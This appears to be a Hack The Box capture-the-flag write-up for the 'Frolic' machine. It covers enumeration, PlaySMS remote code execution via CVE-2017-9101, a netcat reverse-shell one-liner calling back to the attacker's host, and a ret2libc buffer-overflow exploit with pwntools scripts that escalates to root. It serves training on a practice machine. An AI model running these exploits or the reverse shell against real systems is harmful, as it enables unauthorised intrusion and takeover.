Nmap
Enum4linux
Port 1880
Gobuster
Port 9999
Gobuster
Exploitation
PlaySMS
Post exploitation
Enumeration
SUID
Privilege escalation: www-data to root
Welcome to the Frolic writeup from HTB
I hope you enjoy reading it. Any feedback will be appreciated! @x4v1l0k
Frolic
tags: HTB
Easy
Linux
OSCP
Platform: Hackthebox
Difficult: Easy
S.O.: Linux
Link: Click here
Enumeration
Nmap
To get started, we run a quick open ports scan.
$ nmap -p- -T4 10.10.10.111
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-11 19:26 CEST
Nmap scan report for 10.10.10.111
Host is up (0.098s latency).
Not shown: 65530 closed ports
PORT STATE SERVICE
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1880/tcp open vsat-control
9999/tcp open abyss
Nmap done: 1 IP address (1 host up) scanned in 41.62 seconds
Now that we know the open ports, let's scan them in depth.
$ nmap -A -Pn -p 22,139,445,1880,9999 10.10.10.111
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-11 19:27 CEST
Nmap scan report for 10.10.10.111
Host is up (0.097s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)
| 256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)
|_ 256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
1880/tcp open http Node.js (Express middleware)
|_http-title: Node-RED
9999/tcp open http nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.12 (95%), Linux 3.13 (95%), Linux 3.16 (95%), Linux 3.18 (95%), Linux 3.2 - 4.9 (95%), Linux 3.8 - 3.11 (95%), Linux 4.8 (95%), Linux 4.4 (95%), Linux 4.9 (95%), Linux 4.2 (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -1h45m41s, deviation: 3h10m30s, median: 4m17s
|_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: frolic
| NetBIOS computer name: FROLIC\x00
| Domain name: \x00
| FQDN: frolic
|_ System time: 2021-05-11T23:02:34+05:30
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-05-11T17:32:34
|_ start_date: N/A
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 98.35 ms 10.10.14.1
2 98.82 ms 10.10.10.111
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.01 seconds
Accessing the web from port 9999 we can find a domain name called frolic.htb
so we are going to add it to our /etc/hosts
file.
Enum4linux
$ enum4linux 10.10.10.111
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue May 11 19:35:52 2021
[...]
[+] Found domain(s):
[+] FROLIC
[+] Builtin
[...]
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\sahay (Local User)
S-1-22-1-1001 Unix User\ayush (Local User)
[...]
Port 1880
Gobuster
$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://frolic.htb:1880/ -x js,html,txt -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://frolic.htb:1880/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: js,html,txt
[+] Timeout: 10s
===============================================================
2021/05/11 19:52:54 Starting gobuster in directory enumeration mode
===============================================================
/icons (Status: 401) [Size: 12]
/red (Status: 301) [Size: 173] [--> /red/]
/vendor (Status: 301) [Size: 179] [--> /vendor/]
/settings (Status: 401) [Size: 12]
/Icons (Status: 401) [Size: 12]
/nodes (Status: 401) [Size: 12]
/SETTINGS (Status: 401) [Size: 12]
/flows (Status: 401) [Size: 12]
/ICONS (Status: 401) [Size: 12]
Port 9999
Gobuster
$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://frolic.htb:9999/ -x php,html,js -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://frolic.htb:9999/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php,html,js
[+] Timeout: 10s
===============================================================
2021/05/11 19:53:14 Starting gobuster in directory enumeration mode
===============================================================
/admin (Status: 301) [Size: 194] [--> http://frolic.htb:9999/admin/]
/test (Status: 301) [Size: 194] [--> http://frolic.htb:9999/test/]
/dev (Status: 301) [Size: 194] [--> http://frolic.htb:9999/dev/]
/backup (Status: 301) [Size: 194] [--> http://frolic.htb:9999/backup/]
/loop (Status: 301) [Size: 194] [--> http://frolic.htb:9999/loop/]
In the directory /backup
the files password.txt
with the content password - imnothuman
, user.txt
with the content user - admin
and the directory loop/
where we cannot access without listing it.
Inside the /admin
directory we can find an authentication form that asks us to hack it c'mon i m hackable
. In its source code we can find a line that includes the javascript file js/login.js
. Let's see the code.
var attempt = 3; // Variable to count number of attempts.
// Below function Executes on click of login button.
function validate(){
var username = document.getElementById("username").value;
var password = document.getElementById("password").value;
if ( username == "admin" && password == "superduperlooperpassword_lol"){
alert ("Login successfully");
window.location = "success.html"; // Redirecting to other page.
return false;
}
else{
attempt --;// Decrementing by one.
alert("You have left "+attempt+" attempt;");
// Disabling fields after 3 attempts.
if( attempt == 0){
document.getElementById("username").disabled = true;
document.getElementById("password").disabled = true;
document.getElementById("submit").disabled = true;
return false;
}
}
}
Nice, now we have the credentials to access the form. The user is admin
and the password is superduperlooperpassword_lol
.
Accessing with the credentials we can find the following string.
..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... ..... ..... ..... ..!.? ..... ..... .!?!! .?... ..... ..?.? !.?.. ..... ..... ....! ..... ..... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !...! ..... ..... .!.!! !!!!! !!!!! !!!.? ..... ..... ..... ..!?! !.?!! !!!!! !!!!! !!!!? .?!.? !!!!! !!!!! !!!!! .?... ..... ..... ....! ?!!.? ..... ..... ..... .?.?! .?... ..... ..... ...!. !!!!! !!.?. ..... .!?!! .?... ...?. ?!.?. ..... ..!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?.... ..... ..... ...!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... !.... ..... ..!.! !!!!! !.!!! !!... ..... ..... ....! .?... ..... ..... ....! ?!!.? !!!!! !!!!! !!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?... ....! ?!!.? ..... .?.?! .?... ..... ....! .?... ..... ..... ..!?! !.?.. ..... ..... ..?.? !.?.. !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !!!!! !!... ..... ...!. ?.... ..... !?!!. ?!!!! !!!!? .?!.? !!!!! !!!!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!! !.... ..... ..... ..... !.!.? ..... ..... .!?!! .?!!! !!!!! !!?.? !.?!! !.?.. ..... ....! ?!!.? ..... ..... ?.?!. ?.... ..... ..... ..!.. ..... ..... .!.?. ..... ...!? !!.?! !!!!! !!?.? !.?!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!.?. ..... ...!? !!.?. ..... ..?.? !.?.. !.!!! !!!!! !!!!! !!!!! !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... ..... ..... .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! ..... ..!.! !!!!! !.?.
This string is encoded in Ook!
and we can decode it with this page and this is the result Nothing here check /asdiSIAJJ0QWE9JAS
.
Well, let's access the path /asdiSIAJJ0QWE9JAS
as it is asking us and let's see what there is.
UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB BAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbs K1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmve EMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTj lurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkC AAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUG AAAAAAEAAQBPAAAAAwEAAAAA
Ok, now we can get a Base64
string. Let's decode it.
$ echo "UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwABBAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbsK1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmveEMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTjlurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkCAAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUGAAAAAAEAAQBPAAAAAwEAAAAA" | base64 -d
PK É7M#�[�i index.phpUT �|�[�|�[ux
^D�J�s�h�)�P�n
��Ss�Jw��4��ُk�z��UȖ�+X��P��ᶇ��л�x_�N�[���S��8����J2S�*�DЍ}�8dTQk������j_�����'xc��ݏt��75Q�
���k,4��b)�4F�� ��������&q2o�WԜ�9P#�[�iPK É7M#�[�i ��index.phpUT�|�[ux
PKO
The first characters tell us that it is a zip
file so we are going to save the result as file.zip
and extract its content.
$ echo "UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwABBAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbsK1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmveEMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTjlurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkCAAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUGAAAAAAEAAQBPAAAAAwEAAAAA" | base64 -d > file.zip
$ unzip file.zip
Archive: file.zip
[file.zip] index.php password:
The zip is password protected... let's crack it...
$ zip2john file.zip > hash
ver 2.0 efh 5455 efh 7875 file.zip/index.php PKZIP Encr: 2b chk, TS_chk, cmplen=176, decmplen=617, crc=145BFE23
$ john hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 3 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 1 candidate buffered for the current salt, minimum 8 needed for performance.
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
password (file.zip/index.php)
1g 0:00:00:00 DONE 2/3 (2021-05-11 20:24) 25.00g/s 1366Kp/s 1366Kc/s 1366KC/s 123456..faithfaith
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Ok, the password is password
.
$ unzip file.zip
Archive: file.zip
[file.zip] index.php password:
inflating: index.php
And the index.php
content is...
$ cat index.php
4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a
This is a hex
string...
$ cat index.php | xxd -r -p
KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr
KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg
K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t
LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==
Now Base64
again...
$ echo "KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwrKysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysgK1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0tLS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==" | base64 -d
+++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+++ [->++ +<]>+
++.<+ ++[-> ---<] >---- --.-- ----- .<+++ +[->+ +++<] >+++. <+++[ ->---
<]>-- .<+++ [->++ +<]>+ .---. <+++[ ->--- <]>-- ----. <++++ [->++ ++<]>
++..<
More?? Now Brainfuck
and we can decode it with the dcode.fr page. The result is idkwhatispass
. Finally!.
Well, i don't know where can we use this password... Ok, we are going to enumerate the directories that we had left. Let's start with /test
.
$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://frolic.htb:9999/dev/ -x php -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://frolic.htb:9999/dev/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2021/05/11 20:44:40 Starting gobuster in directory enumeration mode
===============================================================
/test (Status: 200) [Size: 5]
/backup (Status: 301) [Size: 194] [--> http://frolic.htb:9999/dev/backup/]
Inside the /dev/backup/
folder we can read another path /playsms
. Let's explore it.
Ok, accesing to http://frolic.htb:9999/playsms/index.php?app=main&inc=core_auth&route=login we can find another login form. We can test all the credentials we have.
Wohoo! we can access with admin
and idkwhatispass
.
Exploitation
PlaySMS
Looking for the PlaySMS
software in google we can find an exploit that will give us RCE
thanks to CVE-2017-9101.
$ python3 playsmshell.py --url http://frolic.htb:9999/playsms --password idkwhatispass -c 'id'
[*] Grabbing CSRF token for login
[*] Attempting to login as admin
[+] Logged in!
[*] Grabbing CSRF token for phonebook import
[*] Attempting to execute payload
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Cool, we have RCE
and now we go for our shell!
We put a terminal to listen and execute the exploit passing a reverse shell as a command.
$ python3 playsmshell.py --url http://frolic.htb:9999/playsms --password idkwhatispass -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.22 8787 >/tmp/f'
[*] Grabbing CSRF token for login
[*] Attempting to login as admin
[+] Logged in!
[*] Grabbing CSRF token for phonebook import
[*] Attempting to execute payload
$ nc -lnvp 8787
listening on [any] 8787 ...
connect to [10.10.14.22] from (UNKNOWN) [10.10.10.111] 41388
/bin/sh: 0: can´t access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python3 -c "import pty; pty.spawn('/bin/bash')"
www-data@frolic:~/html/playsms$ cd /home
www-data@frolic:/home$ ls
ayush sahay
www-data@frolic:/home$ cd ayush/
www-data@frolic:/home/ayush$ ls
user.txt
www-data@frolic:/home/ayush$ cat user.txt
CENSORED_FLAG
www-data@frolic:/home/ayush$
Post exploitation
Enumeration
SUID
www-data@frolic:~/html$ find / -perm /4000 2>/dev/null
/sbin/mount.cifs
/bin/mount
/bin/ping6
/bin/fusermount
/bin/ping
/bin/umount
/bin/su
/bin/ntfs-3g
/home/ayush/.binary/rop
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/at
/usr/bin/sudo
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/chfn
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/i386-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
Well, we come across /home/ayush/.binary/rop
which based on its name, we could bet that we have to exploit a binary and doROP
with it.
We need to know if it is vulnerable to buffer overflow
.
www-data@frolic:~/html/playsms$ /home/ayush/.binary/rop $(python -c "print 'A' * 200")
Segmentation fault (core dumped)
Great, it's vulnerable!
Privilege escalation: www-data to root
First, we need to know the amount of characters to write to overwrite the eip
address.
To achieve this, several methods can be used. In this case we are going to use a small python script using the pwntools
module.
from pwn import *
import os
def get_offset():
p = process(["./rop", cyclic(200, n=4)])
p.wait()
core = p.corefile
os.system('rm -rf core*')
return cyclic_find(core.read(core.esp, 4), n=4) - 4
log.success('Offset at: {} bytes'.format(get_offset()))
$ python offset.py
[+] Starting local process './rop': pid 6296
[*] Process './rop' stopped with exit code -11 (SIGSEGV) (pid 6296)
[+] Parsing corefile...: Done
[*] '/mnt/Datos/Hacking/Pwn/HTB/Frolic/core.6296'
Arch: i386-32-little
EIP: 0x6161616e
ESP: 0xffed9390
Exe: '/mnt/Datos/Hacking/Pwn/HTB/Frolic/rop' (0x8048000)
Fault: 0x6161616e
[+] Offset at: 52 bytes
Ok, the offset is at 52 bytes.
We check that ASLR
is disabled.
www-data@frolic:~/html$ cat /proc/sys/kernel/randomize_va_space
0
Now we need to know the libc
library start address in order to later calculate the absolute addresses of the functions that we will use like system
, /bin/sh
and exit
. For it we can use ldd
.
www-data@frolic:~/html$ ldd /home/ayush/.binary/rop
linux-gate.so.1 => (0xb7fda000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
/lib/ld-linux.so.2 (0xb7fdb000)
The libc
base address is 0xb7e19000
.
It is time to get the addresses of the functions that I commented previously.
To know the /bin/sh
address.
www-data@frolic:/tmp$ strings -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
15ba0b /bin/sh
The /bin/sh
relative address is 0x0015ba0b
.
For the system
address we can usereadelf
.
www-data@frolic:/tmp$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system@@GLIBC_2.0
1457: 0003ada0 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0
And the relative system
address is 0x0003ada0
.
Only left the exit
address. We can use readelf
again.
www-data@frolic:/tmp$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit@@GLIBC_2.0
141: 0002e9d0 31 FUNC GLOBAL DEFAULT 13 exit@@GLIBC_2.0
The relative exit
address is 0x0002e9d0
.
Now we have all that we need. Let's write our payload.
In order to copy the payload in a more comfortable way, we can make it show it to us in Base64
.
import struct
def m32(addr):
return struct.pack("I", addr)
binary = '/home/ayush/.binary/rop'
offset = 52
libc = 0xb7e19000
sh = 0x0015ba0b
system = 0x0003ada0
exit = 0x0002e9d0
payload = 'A' * offset + m32(libc + system) + m32(libc + exit) + m32(libc + sh)
print(payload.encode('base64'))
$ python exploit.py
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQaA95bfQeeS3C0r3tw==
www-data@frolic:/tmp$ /home/ayush/.binary/rop $(echo "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQaA95bfQeeS3C0r3tw==" | base64 -d)
# id
uid=0(root) gid=33(www-data) groups=33(www-data)
#
Another more automatic way to build our payload is by downloading the rop
binary and the libc
library and getting the libc
library start address. With these 3 simple requirements we could write the following script.
from pwn import *
import os
binary = ELF('./rop')
libc = ELF('libc.so.6')
def get_offset():
p = process(["./rop", cyclic(200, n=4)])
p.wait()
core = p.corefile
os.system('rm -rf core*')
return cyclic_find(core.read(core.esp, 4), n=4) - 4
offset = get_offset()
log.success('Offset at: {} bytes\n\n'.format(offset))
libc.address = 0xb7e19000
sh = libc.search('/bin/sh\x00').next()
system = libc.symbols['system']
exit = libc.symbols['exit']
log.success("sh: {}\n".format(hex(sh)))
log.success("system: {}\n".format(hex(system)))
log.success("exit: {}\n\n".format(hex(exit)))
payload = 'A' * offset + p32(system) + p32(exit) + p32(sh)
print(payload.encode('base64'))
$ python exploit.py
[*] '/mnt/Datos/Hacking/Pwn/HTB/Frolic/rop'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] '/mnt/Datos/Hacking/Pwn/HTB/Frolic/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './rop': pid 7749
[*] Process './rop' stopped with exit code -11 (SIGSEGV) (pid 7749)
[+] Parsing corefile...: Done
[*] '/mnt/Datos/Hacking/Pwn/HTB/Frolic/core.7749'
Arch: i386-32-little
EIP: 0x6161616e
ESP: 0xffe69700
Exe: '/mnt/Datos/Hacking/Pwn/HTB/Frolic/rop' (0x8048000)
Fault: 0x6161616e
[+]
Offset at: 52 bytes
[+] sh: 0xb7f74a0b
[+] system: 0xb7e53da0
[+] exit: 0xb7e479d0
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQaA95bfQeeS3C0r3tw==